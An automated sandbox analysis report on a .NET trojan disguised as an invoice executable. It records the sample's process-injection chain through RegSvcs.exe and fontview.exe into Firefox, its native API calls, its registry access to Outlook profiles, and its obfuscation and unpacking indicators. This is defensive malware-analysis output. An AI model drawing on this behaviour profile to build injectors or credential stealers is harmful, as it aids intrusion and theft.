Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A4340 NtSetContextThread,	4_2_014A4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A4650 NtSuspendThread,	4_2_014A4650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2BE0 NtQueryValueKey,	4_2_014A2BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2BF0 NtAllocateVirtualMemory,	4_2_014A2BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2B80 NtQueryInformationFile,	4_2_014A2B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2BA0 NtEnumerateValueKey,	4_2_014A2BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2AD0 NtReadFile,	4_2_014A2AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2AF0 NtWriteFile,	4_2_014A2AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2AB0 NtWaitForSingleObject,	4_2_014A2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2D00 NtSetInformationFile,	4_2_014A2D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2D10 NtMapViewOfSection,	4_2_014A2D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2D30 NtUnmapViewOfSection,	4_2_014A2D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2DD0 NtDelayExecution,	4_2_014A2DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2DB0 NtEnumerateKey,	4_2_014A2DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2C60 NtCreateKey,	4_2_014A2C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2C00 NtQueryInformationProcess,	4_2_014A2C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2CC0 NtQueryVirtualMemory,	4_2_014A2CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2CF0 NtOpenProcess,	4_2_014A2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2CA0 NtQueryInformationToken,	4_2_014A2CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2F60 NtCreateProcessEx,	4_2_014A2F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2F30 NtCreateSection,	4_2_014A2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2FE0 NtCreateFile,	4_2_014A2FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2F90 NtProtectVirtualMemory,	4_2_014A2F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2FA0 NtQuerySection,	4_2_014A2FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2FB0 NtResumeThread,	4_2_014A2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2E30 NtWriteVirtualMemory,	4_2_014A2E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2EE0 NtQueueApcThread,	4_2_014A2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2E80 NtReadVirtualMemory,	4_2_014A2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2EA0 NtAdjustPrivilegesToken,	4_2_014A2EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A3010 NtOpenDirectoryObject,	4_2_014A3010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A3090 NtSetValueKey,	4_2_014A3090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A39B0 NtGetContextThread,	4_2_014A39B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A3D70 NtOpenThread,	4_2_014A3D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A3D10 NtOpenProcessToken,	4_2_014A3D10
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB4650 NtSuspendThread,LdrInitializeThunk,	12_2_04AB4650
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB4340 NtSetContextThread,LdrInitializeThunk,	12_2_04AB4340
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2CA0 NtQueryInformationToken,LdrInitializeThunk,	12_2_04AB2CA0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2C60 NtCreateKey,LdrInitializeThunk,	12_2_04AB2C60
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2C70 NtFreeVirtualMemory,LdrInitializeThunk,	12_2_04AB2C70
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2DF0 NtQuerySystemInformation,LdrInitializeThunk,	12_2_04AB2DF0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2DD0 NtDelayExecution,LdrInitializeThunk,	12_2_04AB2DD0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2D30 NtUnmapViewOfSection,LdrInitializeThunk,	12_2_04AB2D30
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2D10 NtMapViewOfSection,LdrInitializeThunk,	12_2_04AB2D10
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2E80 NtReadVirtualMemory,LdrInitializeThunk,	12_2_04AB2E80
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2EE0 NtQueueApcThread,LdrInitializeThunk,	12_2_04AB2EE0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2FB0 NtResumeThread,LdrInitializeThunk,	12_2_04AB2FB0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2FE0 NtCreateFile,LdrInitializeThunk,	12_2_04AB2FE0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2F30 NtCreateSection,LdrInitializeThunk,	12_2_04AB2F30
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2AF0 NtWriteFile,LdrInitializeThunk,	12_2_04AB2AF0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2AD0 NtReadFile,LdrInitializeThunk,	12_2_04AB2AD0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2BA0 NtEnumerateValueKey,LdrInitializeThunk,	12_2_04AB2BA0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2BE0 NtQueryValueKey,LdrInitializeThunk,	12_2_04AB2BE0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	12_2_04AB2BF0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2B60 NtClose,LdrInitializeThunk,	12_2_04AB2B60
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB35C0 NtCreateMutant,LdrInitializeThunk,	12_2_04AB35C0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB39B0 NtGetContextThread,LdrInitializeThunk,	12_2_04AB39B0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2CF0 NtOpenProcess,	12_2_04AB2CF0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2CC0 NtQueryVirtualMemory,	12_2_04AB2CC0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2C00 NtQueryInformationProcess,	12_2_04AB2C00
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2DB0 NtEnumerateKey,	12_2_04AB2DB0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2D00 NtSetInformationFile,	12_2_04AB2D00
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2EA0 NtAdjustPrivilegesToken,	12_2_04AB2EA0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2E30 NtWriteVirtualMemory,	12_2_04AB2E30
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2FA0 NtQuerySection,	12_2_04AB2FA0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2F90 NtProtectVirtualMemory,	12_2_04AB2F90
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2F60 NtCreateProcessEx,	12_2_04AB2F60
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2AB0 NtWaitForSingleObject,	12_2_04AB2AB0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB2B80 NtQueryInformationFile,	12_2_04AB2B80
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB3090 NtSetValueKey,	12_2_04AB3090
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB3010 NtOpenDirectoryObject,	12_2_04AB3010
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB3D10 NtOpenProcessToken,	12_2_04AB3D10
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB3D70 NtOpenThread,	12_2_04AB3D70
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A54FD0 NtCreateFile,	12_2_02A54FD0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A55240 NtClose,	12_2_02A55240
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A55370 NtAllocateVirtualMemory,	12_2_02A55370
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A551C0 NtDeleteFile,	12_2_02A551C0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A55100 NtReadFile,	12_2_02A55100

Source: Invoice_&_SOA_ready_for_dispatch.exe, 00000000.00000002.1262073362.000000000122E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Invoice_&_SOA_ready_for_dispatch.exe
Source: Invoice_&_SOA_ready_for_dispatch.exe, 00000000.00000000.1231117286.0000000000C4E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamegpHbg.exeF vs Invoice_&_SOA_ready_for_dispatch.exe
Source: Invoice_&_SOA_ready_for_dispatch.exe, 00000000.00000002.1267129512.0000000007560000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Invoice_&_SOA_ready_for_dispatch.exe
Source: Invoice_&_SOA_ready_for_dispatch.exe	Binary or memory string: OriginalFilenamegpHbg.exeF vs Invoice_&_SOA_ready_for_dispatch.exe

Source: Invoice_&_SOA_ready_for_dispatch.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Invoice_&_SOA_ready_for_dispatch.exe

ReversingLabs: Detection: 42%

Source: Invoice_&_SOA_ready_for_dispatch.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe	Process created: C:\Windows\SysWOW64\fontview.exe C:\Windows\SysWOW64\fontview.exe
Source: C:\Windows\SysWOW64\fontview.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe	Process created: C:\Windows\SysWOW64\fontview.exe C:\Windows\SysWOW64\fontview.exe	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Invoice_&_SOA_ready_for_dispatch.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\fontview.exe

File created: C:\Users\user\AppData\Local\Temp\2N-F32-85

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/2@14/11

Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, wXBrPU2mKX2DW6Sp7G.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, wXBrPU2mKX2DW6Sp7G.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, moU0AkpAA5e5deHjGQ.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, moU0AkpAA5e5deHjGQ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, moU0AkpAA5e5deHjGQ.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, moU0AkpAA5e5deHjGQ.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, moU0AkpAA5e5deHjGQ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, moU0AkpAA5e5deHjGQ.cs	Security API names: _0020.AddAccessRule

Source: Invoice_&_SOA_ready_for_dispatch.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Mutant created: \Sessions\1\BaseNamedObjects\GxEmeREskI

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\fontview.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: Invoice_&_SOA_ready_for_dispatch.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Invoice_&_SOA_ready_for_dispatch.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: firefox.pdbP source: fontview.exe, 0000000C.00000003.1583119919.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: fontview.pdbGCTL source: RegSvcs.exe, 00000004.00000002.1351063486.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000002.3734199569.00000000007FE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: fontview.pdb source: RegSvcs.exe, 00000004.00000002.1351063486.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000002.3734199569.00000000007FE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000000.1274005512.0000000000CBE000.00000002.00000001.01000000.0000000C.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3728661562.0000000000CBE000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: RegSvcs.pdb, source: fontview.exe, 0000000C.00000002.3736597685.0000000004DA3000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3733416579.0000000002BCA000.00000004.00000020.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000000.1406933440.0000000002CF3000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.1583264064.000000003F053000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1353081257.0000000004896000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1351034381.00000000046EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, fontview.exe, fontview.exe, 0000000C.00000003.1353081257.0000000004896000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1351034381.00000000046EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: fontview.exe, 0000000C.00000002.3736597685.0000000004DA3000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3733416579.0000000002BCA000.00000004.00000020.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000000.1406933440.0000000002CF3000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.1583264064.000000003F053000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: firefox.pdb source: fontview.exe, 0000000C.00000003.1583119919.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: Invoice_&_SOA_ready_for_dispatch.exe, --.cs	.Net Code: _0002
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, moU0AkpAA5e5deHjGQ.cs	.Net Code: LsT03lLd9Q System.Reflection.Assembly.Load(byte[])
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, moU0AkpAA5e5deHjGQ.cs	.Net Code: LsT03lLd9Q System.Reflection.Assembly.Load(byte[])
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.5670000.3.raw.unpack, hA.cs	.Net Code: wP
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.5670000.3.raw.unpack, hA.cs	.Net Code: Rd System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_072B64D5 push FFFFFF8Bh; iretd	0_2_072B64D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040D053 push ebx; ret	4_2_0040D055
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040183F push ecx; ret	4_2_00401841
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004130F2 push ecx; ret	4_2_004130F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00423153 pushfd ; iretd	4_2_00423168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041B159 push ss; iretd	4_2_0041B15A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041095B push edx; ret	4_2_0041097E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00410963 push edx; ret	4_2_0041097E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0042B9E2 push eax; ret	4_2_0042B9E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00414224 pushfd ; iretd	4_2_00414225
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041A228 pushad ; retf	4_2_0041A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402363 push ecx; ret	4_2_0040236D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402308 push ecx; ret	4_2_0040236D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040D325 push gs; ret	4_2_0040D32D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00417BD9 push edi; retf	4_2_00417BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00403390 push eax; ret	4_2_00403392
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040148D push ecx; ret	4_2_004015A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00401490 push ecx; ret	4_2_004015A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00418584 push ds; retf	4_2_0041859D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041859E push ds; retf	4_2_0041859D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004015A5 push ecx; ret	4_2_004015A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00417DB6 push esi; ret	4_2_00417DB7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041466B push edi; ret	4_2_0041466C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004016D4 push ecx; ret	4_2_004016D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00401690 push ecx; ret	4_2_004016B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040CF05 push eax; retf	4_2_0040CF0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00412790 push cs; retf	4_2_00412794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014609AD push ecx; mov dword ptr [esp], ecx	4_2_014609B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0143135E push eax; iretd	4_2_01431369
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A709AD push ecx; mov dword ptr [esp], ecx	12_2_04A709B6
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A422B8 push cs; ret	12_2_02A423AA

Source: initial sample

Static PE information: section name: .text entropy: 7.937047832644545

Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, OCeGR9WhUIbmo58hGM.cs	High entropy of concatenated method names: 'Dispose', 'S2b4OCjSNc', 'z6aK5hHNRL', 'ji6mm6OVSD', 'DHq4gmhxKc', 'Id04zJUbLY', 'ProcessDialogKey', 'LZcKXcnAp6', 'PiGK4Z2w8H', 'BWMKKHuINe'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, FhqF3be3IiJ78OZX0B.cs	High entropy of concatenated method names: 'iJD9s1ruR2', 'RZC9Lnny3K', 'XIn9wNksZP', 'pgZwgjk7f9', 'ixywze9IUG', 'q4x9Xso9P0', 'd1V94J1Cvh', 'QQ49KvIbHY', 'F699eYUr3W', 'SEF901dK1p'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, hqa0uvwF8y24dfnEmR.cs	High entropy of concatenated method names: 'xdi9jIR5Cj', 'TVW96JE1bE', 'mDg93v7iZV', 'piZ9xQGFV4', 'p0F9VlrsOU', 'rvr9TPPOuw', 'K6D9yUaS6B', 'YbE9JbEYcs', 'ou59R3mIPE', 'fLD9i5oWTG'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, CWH5un3Y7hXN01WGKc4.cs	High entropy of concatenated method names: 'Ng7tj8HcP9', 'ddQt6kFZxA', 'PTIt3Ashuo', 'vLStx16EMM', 'ut7tVGA6Tm', 'Q6XtTbx57d', 'fU8tyjDw7B', 'O1OtJrcYm2', 'mgNtRGSttm', 'hKptiZ4Rip'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, k7qEmYaQgpXjRvxX0y.cs	High entropy of concatenated method names: 'SjkvHLySEw', 'bQHvg3LIxt', 'KIPSX8Gxm8', 'tkKS4TcLdk', 'a2VvhVIwEt', 'aBgvDnrSRK', 'rUdvURaZIO', 'RkmvMB83U2', 'DnLvkEt5ye', 'LAivAcADEf'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, kn3HsVKGcYhQIYc6U1.cs	High entropy of concatenated method names: 'Hag3CTPFA', 'jFcxeDImu', 'BAeTyTbNs', 'cyGy5olns', 'tAmRn63Dl', 'kXSiGOjk5', 'AAdq2s7cY5xMiw0S3I', 'UHK7AioHjQ2GhK5bYD', 'BDYSiQPxW', 'wyrIH3V5Y'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, GiG0pYCKrDVP3rTfDp.cs	High entropy of concatenated method names: 'QU1uJIMdBL', 'jJjuR91ERu', 'Mqku7qyntM', 'eWZu5Q3MLF', 't3ZuC4anai', 'ptsuYEV1L7', 'FYlu118j8i', 'TOPublhwIa', 'SrcuFUgGL7', 'guDuhpAml1'
